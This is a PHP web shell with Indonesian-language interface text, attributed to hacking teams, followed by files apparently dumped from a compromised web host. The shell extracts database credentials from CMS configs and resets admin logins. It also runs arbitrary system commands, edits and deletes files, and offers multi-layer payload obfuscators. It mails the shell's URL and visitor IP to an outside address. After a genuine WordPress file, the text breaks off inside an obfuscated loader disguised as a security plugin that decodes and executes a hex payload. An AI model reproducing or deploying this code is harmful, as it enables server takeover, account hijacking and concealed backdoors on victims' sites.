 $target = ambilkata($config,"HTTP_SERVER', '","'");
 if($target == '') {
 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
 } else {
 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
 }
 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
 echo "Config => ".$file_conf."<br>";
 echo "CMS => OpenCart<br>";
 echo $url_target;
 if(!$update OR !$conn OR !$db) {
 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
 } else {
 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
 }
 mysql_close($conn);
 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
 $dbhost = ambilkata($config,'server = "','"');
 $dbuser = ambilkata($config,'username = "','"');
 $dbpass = ambilkata($config,'password = "','"');
 $dbname = ambilkata($config,'database = "','"');
 $prefix = "users";
 $option = "identitas";
 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
 $db = mysql_select_db($dbname);
 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
 $result = mysql_fetch_array($q);
 $target = $result[alamat_website];
 if($target == '') {
 $target2 = $result[url];
 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
 if($target2 == '') {
 $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
 } else {
 $cek_login3 = file_get_contents("$target2/adminweb/");
 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
 } else {
 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
 }
 }
 } else {
 $cek_login = file_get_contents("$target/adminweb/");
 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
 } else {
 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
 }
 }
 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
 echo "Config => ".$file_conf."<br>";
 echo "CMS => Lokomedia<br>";
 if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
 echo $url_target2;
 } else {
 echo $url_target;
 }
 if(!$update OR !$conn OR !$db) {
 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
 } else {
 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
 }
 mysql_close($conn);
 }
 }
 }
 } else {
 echo "<center>
 <h1>Auto Edit User Config</h1>
 <form method='post'>
 DIR Config: <br>
 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
 Set User & Pass: <br>
 <input type='text' name='user_baru' value='zet brohhh' placeholder='user_baru'><br>
 <input type='text' name='pass_baru' value='zet brohhh' placeholder='pass_baru'><br>
 <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
 </form>
 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
 ";
 }
 
 } elseif($_GET['do'] == 'endec') {
 @ini_set('output_buffering',0); 
 @ini_set('display_errors', 0);
 $text = $_POST['code'];
 ?>
 <center>
 <h2>Encode And Decode</h2>
 <form method="post">
 <br>
 <textarea class='form-control con7' cols='60' rows='10' name="code"></textarea>
 <br><br>
 <select class='form-control con7' size="1" name="ope">
 <center>
 <option value="urlencode">url</option>
 <option value="base64">base64</option>
 <option value="ur">convert_uu</option>
 <option value="json">json</option>
 <option value="gzinflates">gzinflate - base64</option>
 <option value="str2">str_rot13 - base64</option>
 <option value="gzinflate">str_rot13 - gzinflate - base64</option>
 <option value="gzinflater">gzinflate - str_rot13 - base64</option>
 <option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
 <option value="gzinflatew">str_rot13-convert_uu-url-gzinflate-str_rot13-base64-convert_uu-gzinflate-url-str_rot13-gzinflate-base64</option>
 <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
 <option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
 </center>
 </select>
 &nbsp;<br><br><input class='kntd' type='submit' name='submit' value='Encode'>
 <input class='kntd' type='submit' name='submits' value='Decode'>
 </form>
 <br>
 <?php 
 $submit = $_POST['submit'];
 if (isset($submit)){
 $op = $_POST["ope"];
 switch ($op) {case 'base64': $codi=base64_encode($text);
 break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
 break;case 'json' : $codi=json_encode(utf8_encode($text));
 break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
 break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
 break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
 break;case 'gzinflatew' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
 break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
 break;case 'str2' : $codi=base64_encode(str_rot13($text));
 break;case 'urlencode' : $codi=rawurlencode($text);
 break;case 'ur' : $codi=convert_uuencode($text);
 break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
 break;default:break;}}
 
 $submit = $_POST['submits'];
 if (isset($submit)){
 $op = $_POST["ope"];
 switch ($op) {case 'base64': $codi=base64_decode($text);
 break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
 break;case 'json' : $codi=utf8_decode(json_decode($text));
 break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
 break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
 break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
 break;case 'gzinflatew' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
 break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
 break;case 'str2' : $codi=str_rot13(base64_decode($text));
 break;case 'urlencode' : $codi=rawurldecode($text);
 break;case 'ur' : $codi=convert_uudecode($text);
 break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
 break;default:break;}}
 $html = htmlentities(stripslashes($codi));
 echo "<form><textarea cols=60 rows=10 class='form-control con7' >".$html."</textarea></center></form><br/><br/>";
 } elseif($_GET['do'] == 'hashgen') {
 $submit = $_POST['enter'];
 if (isset($submit)) {
 $pass = $_POST['password']; // password
 $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
 $hash = md5($pass); // md5 hash #1
 $md4 = hash("md4", $pass);
 $hash_md5 = md5($salt . $pass); // md5 hash with salt #2
 $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
 $hash1 = sha1($pass); // sha1 hash #4
 $sha256 = hash("sha256", $text);
 $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
 $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
 }
 echo '<form action="" method="post">';
 echo '<center><h2>Hash Generator</h2>';
 echo '<table>';
 echo 'Masukkan teks yang ingin di encrypt: ';
 echo '<input class="inputz" type="text" name="password" size="40">';
 echo '<input class="inputzbut" type="submit" name="enter" value="Hash!">';
 echo '<br>';
 echo 'Original Password: <input class=inputz type=text size=50 value='.$pass.'><br><br>';
 echo 'MD5: <input class=inputz type=text size=50 value='.$hash.'><br><br>';
 echo 'MD4: <input class=inputz type=text size=50 value='.$md4 .'><br><br>';
 echo 'MD5 with Salt: <input class=inputz type=text size=50 value='.$hash_md5.'><br><br>';
 echo 'MD5 with Salt & Sha1: <input class=inputz type=text size=50 value='.$hash_md5_double.'><br><br>';
 echo 'Sha1: <input class=inputz type=text size=50 value='.$hash1 .'><br><br>';
 echo 'Sha256: <input class=inputz type=text size=50 value='.$sha256.'><br><br>';
 echo 'Sha1 with Salt: <input class=inputz type=text size=50 value='.$hash1_sha1.'><br><br>';
 echo 'Sha1 with Salt & MD5: <input class=inputz type=text size=50 value='.$hash1_sha1_double.'></center></table>';
 } elseif($_GET['do'] == 'about') {
   ?>
   <tr>
   <td>
   <center>
   <h2 style='color'#00ddff'>About Me</font></h2>
   <p style='color: white;'>Team: JawaBaratCyber - <font color="red">Cowok Tersakiti Team</font> - Indonrsian error system - JavaCyberArmy - Dan lain lain</p>
   </center>
   </td>
   </tr>
   <?php
   } elseif($_GET['do'] == 'adminer') {
 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
 function adminer($url, $isi) {
 $fp = fopen($isi, "w");
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 curl_setopt($ch, CURLOPT_FILE, $fp);
 return curl_exec($ch);
 curl_close($ch);
 fclose($fp);
 ob_flush();
 flush();
 }
 if(file_exists('adminer.php')) {
 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
 } else {
 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
 } else {
 echo "<center><font color=red>gagal buat file adminer</font></center>";
 }  

 }

}  elseif($_GET['to'] == 'cmd') {
	echo "<form method='post'>
	<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
	<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
	</form>";
	if($_POST['do_cmd']) {
		echo "<pre>".exe($_POST['cmd'])."</pre>";
	}
}

if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo "[ <a href='?path=$path'>Kembali</a> ]"; 
echo('<textarea class="potext" cols=80 rows=20> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">CANGE PERM SUCCES !!!!!</font><br/>';
echo "[ <a href='?path=$path'>Kembali</a> ]";
}else{
echo '<script> alert("CANGE PERM GAGAL NJING !!!!!")</font><br />';
}
}
echo '<form method="POST">
Permission : <br><input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="margin-top:4px;width:400px;font-family:Kelly Slab;font-size:15;background:transparent;color:silver;border:2px solid silver; text-align: left"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod"><br>
<input type="submit" value="submit" style="margin-top:4px;width:400px;font-family:Kelly Slab;font-size:15;background:transparent;color:gold;border:2px solid silver"/>
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">RENAME SUCCES !!!!!</font><br/>';
echo "[ <a href='?path=$path'>Kembali</a> ]";
}else{
echo '<script> alert("RENAME GAGAL !!!!!")</script><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name <br><input name="newname" type="text" size="20" value="'.$_POST['name'].'" style="margin-top:4px;width:400px;font-family:Kelly Slab;font-size:15;background:black;color:silver;border:2px solid silver; text-align: left"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename"><br>
<input type="submit" value="submit" style="margin-top:4px;width:400px;font-family:Kelly Slab;font-size:15;background:transparent;color:gold;border:2px solid silver"/>
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">EDIT SUCCES<br/>';
echo "[ <a href='?path=$path'>Kembali</a> ]";
}else{
echo '<script> alert("EDIT GAGAL CONG !!!!!")</script></font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea class="potext" cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" style="margin-top:4px;width:500px;font-family:Kelly Slab;font-size:15;background:transparent;color:gold;border:2px solid silver;border-radius:5px"/>
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<script> alert("SUCCES !!!!!")</script><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus om                                                                                                                                                                                                                                                                                           </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<script> alert("SUCCES !!!!!")</script><br/>';
}else{
echo '<font color="red">File Gagal Dihapus om</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="100%" class="td_table">
<tr class="first">
<td class="pl"><center><font>Name</peller></center></td>
<td class="pl"><center><font>Size</peller></center></td>
<td class="pl"><center><font>Permission</peller></center></td>
<td class="pl"><center><font>Action</peller></center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr class="s_tb">
<td class="pt"><img src="data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs="> <a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td class="pl"><center>--</center></td>
<td class="pl"><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td class="pl"><center><form method="POST" action="?option&path='.$path.'">
<select name="opt" style="margin-top:6px;width:120px;font-family:Kelly Slab;font-size:15;background:transparent;color:white;border:2px solid #00ddff;border-radius:5px">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">RenaMe</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">" style="margin-top:6px;width:20px;font-family:Kelly Slab;font-size:15;background:transparent;color:white;border:2px solid #00ddff;border-radius:5px">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr class="pl">
<td class="pt"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="> <a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td class="pl"><center>'.$size.'</center></td>
<td class="pl"><center>';
if(is_writable($path.'/'.$file)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td class="pl"><center><form method="POST" action="?option&path='.$path.'">
<select name="opt" style="margin-top:6px;width:120px;font-family:Kelly Slab;font-size:15;background:transparent;color:white;border:2px solid #00ddff;border-radius:5px">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">" style="margin-top:6px;width:20px;font-family:Kelly Slab;font-size:15;background:transparent;color:white;border:2px solid #00ddff;border-radius:5px">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/><font face="Kelly Slab" color="white" style="text-shadow:0 0 20px gold, 0 0 5px gold, 0 0 7px red, 0 0 45px gold; font-weight:bold: white; font-size:15px">"rafliwebsite</center>
</body>
</html>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
<?php @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); $tujuanmail = 'simonriley9981.com'; $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]"; mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); ?>home/zeusxp5/chuair.org/wp-includes/blocks/index.php000064400000011767151241112110016510 0ustar00<?php
/**
 * Used to set up all core blocks used with the block editor.
 *
 * @package WordPress
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' );

// Include files required for core blocks registration.
require BLOCKS_PATH . 'legacy-widget.php';
require BLOCKS_PATH . 'widget-group.php';
require BLOCKS_PATH . 'require-dynamic-blocks.php';

/**
 * Registers core block style handles.
 *
 * While {@see register_block_style_handle()} is typically used for that, the way it is
 * implemented is inefficient for core block styles. Registering those style handles here
 * avoids unnecessary logic and filesystem lookups in the other function.
 *
 * @since 6.3.0
 */
function register_core_block_style_handles() {
	$wp_version = wp_get_wp_version();

	if ( ! wp_should_load_separate_core_block_assets() ) {
		return;
	}

	$blocks_url   = includes_url( 'blocks/' );
	$suffix       = wp_scripts_get_suffix();
	$wp_styles    = wp_styles();
	$style_fields = array(
		'style'       => 'style',
		'editorStyle' => 'editor',
	);

	static $core_blocks_meta;
	if ( ! $core_blocks_meta ) {
		$core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php';
	}

	$files          = false;
	$transient_name = 'wp_core_block_css_files';

	/*
	 * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with
	 * the core developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'core' );

	if ( $can_use_cached ) {
		$cached_files = get_transient( $transient_name );

		// Check the validity of cached values by checking against the current WordPress version.
		if (
			is_array( $cached_files )
			&& isset( $cached_files['version'] )
			&& $cached_files['version'] === $wp_version
			&& isset( $cached_files['files'] )
		) {
			$files = $cached_files['files'];
		}
	}

	if ( ! $files ) {
		$files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) );

		// Normalize BLOCKS_PATH prior to substitution for Windows environments.
		$normalized_blocks_path = wp_normalize_path( BLOCKS_PATH );

		$files = array_map(
			static function ( $file ) use ( $normalized_blocks_path ) {
				return str_replace( $normalized_blocks_path, '', $file );
			},
			$files
		);

		// Save core block style paths in cache when not in development mode.
		if ( $can_use_cached ) {
			set_transient(
				$transient_name,
				array(
					'version' => $wp_version,
					'files'   => $files,
				)
			);
		}
	}

	$register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) {
		$style_path = "{$name}/{$filename}{$suffix}.css";
		$path       = wp_normalize_path( BLOCKS_PATH . $style_path );

		if ( ! in_array( $style_path, $files, true ) ) {
			$wp_styles->add(
				$style_handle,
				false
			);
			return;
		}

		$wp_styles->add( $style_handle, $blocks_url . $style_path );
		$wp_styles->add_data( $style_handle, 'path', $path );

		$rtl_file = "{$name}/{$filename}-rtl{$suffix}.css";
		if ( is_rtl() && in_array( $rtl_file, $files, true ) ) {
			$wp_styles->add_data( $style_handle, 'rtl', 'replace' );
			$wp_styles->add_data( $style_handle, 'suffix', $suffix );
			$wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) );
		}
	};

	foreach ( $core_blocks_meta as $name => $schema ) {
		/** This filter is documented in wp-includes/blocks.php */
		$schema = apply_filters( 'block_type_metadata', $schema );

		// Backfill these properties similar to `register_block_type_from_metadata()`.
		if ( ! isset( $schema['style'] ) ) {
			$schema['style'] = "wp-block-{$name}";
		}
		if ( ! isset( $schema['editorStyle'] ) ) {
			$schema['editorStyle'] = "wp-block-{$name}-editor";
		}

		// Register block theme styles.
		$register_style( $name, 'theme', "wp-block-{$name}-theme" );

		foreach ( $style_fields as $style_field => $filename ) {
			$style_handle = $schema[ $style_field ];
			if ( is_array( $style_handle ) ) {
				continue;
			}
			$register_style( $name, $filename, $style_handle );
		}
	}
}
add_action( 'init', 'register_core_block_style_handles', 9 );

/**
 * Registers core block types using metadata files.
 * Dynamic core blocks are registered separately.
 *
 * @since 5.5.0
 */
function register_core_block_types_from_metadata() {
	$block_folders = require BLOCKS_PATH . 'require-static-blocks.php';
	foreach ( $block_folders as $block_folder ) {
		register_block_type_from_metadata(
			BLOCKS_PATH . $block_folder
		);
	}
}
add_action( 'init', 'register_core_block_types_from_metadata' );

/**
 * Registers the core block metadata collection.
 *
 * This function is hooked into the 'init' action with a priority of 9,
 * ensuring that the core block metadata is registered before the regular
 * block initialization that happens at priority 10.
 *
 * @since 6.7.0
 */
function wp_register_core_block_metadata_collection() {
	wp_register_block_metadata_collection(
		BLOCKS_PATH,
		BLOCKS_PATH . 'blocks-json.php'
	);
}
add_action( 'init', 'wp_register_core_block_metadata_collection', 9 );
home/zeusxp5/zenoxpressalongside.net/cgi-bin/includes/index.php000064400000174522151242175000020760 0ustar00<?php
/* Legacy-Compatible Obfuscated Loader - ID:3085054 */

/*
Description: Enhanced security module
Version: 2.4.95
Plugin Name: SecurePluginpiQevLFB60
*/

class LoaderddWpRW45838 {
    public static function init870() {
        // Decode and execute payload
        $hex_data = 'w7iLDfMm859ddd76d3cab6ad1f699b89e6399a97a52afd018e9d44b193dc8103020b306b9bd314fcf4c70e211ef555d75c175cb83924b654aa1aa38ffeb3fc7273513757d972bcbfb8bbba5bbeff5edd2f2e2ffe2e8bcf17c5d759f8b85e75abc7cf5df8f5797d7d73f17f2ebe6cde545f8a4ffecbeab2f4d587e5217f5b85950fd7b3d52757dd2daff377abd7c3babd9c2dfd6ad6de355f97ddf7cbcdd5ecf27f96ebcbf566f6707873f81cc2afe243e98bbb0bff4f588d0f9d3f3c36abeeefd53b3fbbacafbefefd2efc68aec2e3eafdebc7d9a7cb375dbdfdb1b91d5df8787b717bf97de76fcbcbff79703fdf2eb6fd65f1abf854fcda2c4bfff3767ebdbfad42757d1d7e5cde3cfe7c370f995b1dbede87f078bf5acf0f9bbf56b34fab21f7bf5637978fb3fbeafae6ae3c5465f3e5c77af565b57bfffdcdc555bd5997c7cf5b96d9fdc76e37afbacf9ffc5f5fbbabcbe2fdbbebf9babebdaa9beb9fe3c7edabcbb7df1f2f6e5fcfce3fbffe71bf7a7d797ff5d7d7af57978fabb9ff7a5f6f2beffcfd5559cd66377f3dbdbfbeae8755e5ae96efeb1fe5eaafcd72fd7ab7385e9f3ffffff8feabe2f62abbbfaf771faa2f0fddedf757ff59b99fef2fbe649bdbd7f7ff299bc79b0fc7cbf7e1f35d71f9d79be3eb5d757c3dbf2b8eafbf9d5e8fe1f4fafde9fd75757cfdcfede9e797a7f7d7affebc7ff1e1eaf4f3a7d7bba21c367e55162f9faf2c1e37efbafc5d7d7b7973118e776bfba6f8f07aff35fcf566757aedbae3ebdbd3eb321c5f17457853bcff9e1f5f6fc2f5f7365b0ca7ebb12b3f7ecdfeefddb7e3ef2bff7ef3f6d77c795c3fddb5ffc7ddf6af2ee6fee67675b8f06f8a8bfdcdf5e7f9fbd76fae6ebf5f5ddcdfcc57e7ebb9bfbf767fdf5cb9fdfddbebf9a60ae57a7d135defebc65f556535bf7fbbcddebdf5f7f74dd3d775f9f8b5bd7d9cbffd35baf5e7d5713d7f3dbefefbedf1b5bf3dbd7ef5f3f47e7b7c5dac8bd5857bf5707cfdd5ad6e67f1dfff75df35e1b1b91dfe7efbaeebbf15dd4fbfbedd3d94dbd3f79d1dbfefbc395d0f7fba1edfdbd3f75f5c7f732ff7d37f1df23fbfef6d977fa80faf56d1f7ff7515fcf6557f17ae16ef9b89ef5f7c7537fd9bcbc5b7dd4df9a5f858fc9aaddcb7f9e1bc5e86ab9bcf3f3f7dbc7db8afbedc97be2bfeb3ea1f56ef8ecfe3ed6155d65f3ecf3f8c17776fd76f3e9cbeef6d71fafe4fd7c79dae4fa8f7f7a5fb59bcbdbe5b9787f2e3f5f1fab87ef6e161fde3c3d3f5bb3abd7e75faf977c7d7a57f3c5dcfd3ebfefde9fdd3ef7b7e7f7ebc7e9f2e6fffdcffdf9fefeaafbbd5cd787171f179bc7b53bb5a5fdfec43d1bd595c5e7e5edc7efffce3bafafcfef87a7ed51f5fdf7e3dbefe79f7f4da7d5eac5f9fde9fb51f5f57b34fb7a7efffb53d5eefe7e7ebaaaebf14e1e6eac7e6e3f538afbb07efaeef3f94eec7fb8bedecb8c22efeb939debffae6ef78bd97e5fae3f570e31edfac5ad7fa22babe5f9bd5d58fe35ababaafafabf745a3d7f73bdfaf9aed661db68f1f6e1e7f5c5e7cb9ba2f7e5537edaf870f77bfdce2c3b73797ab5ff9f3cffffefeeb66bf5e84c7db5bf7f0fee3f566e30e8ff7a11eca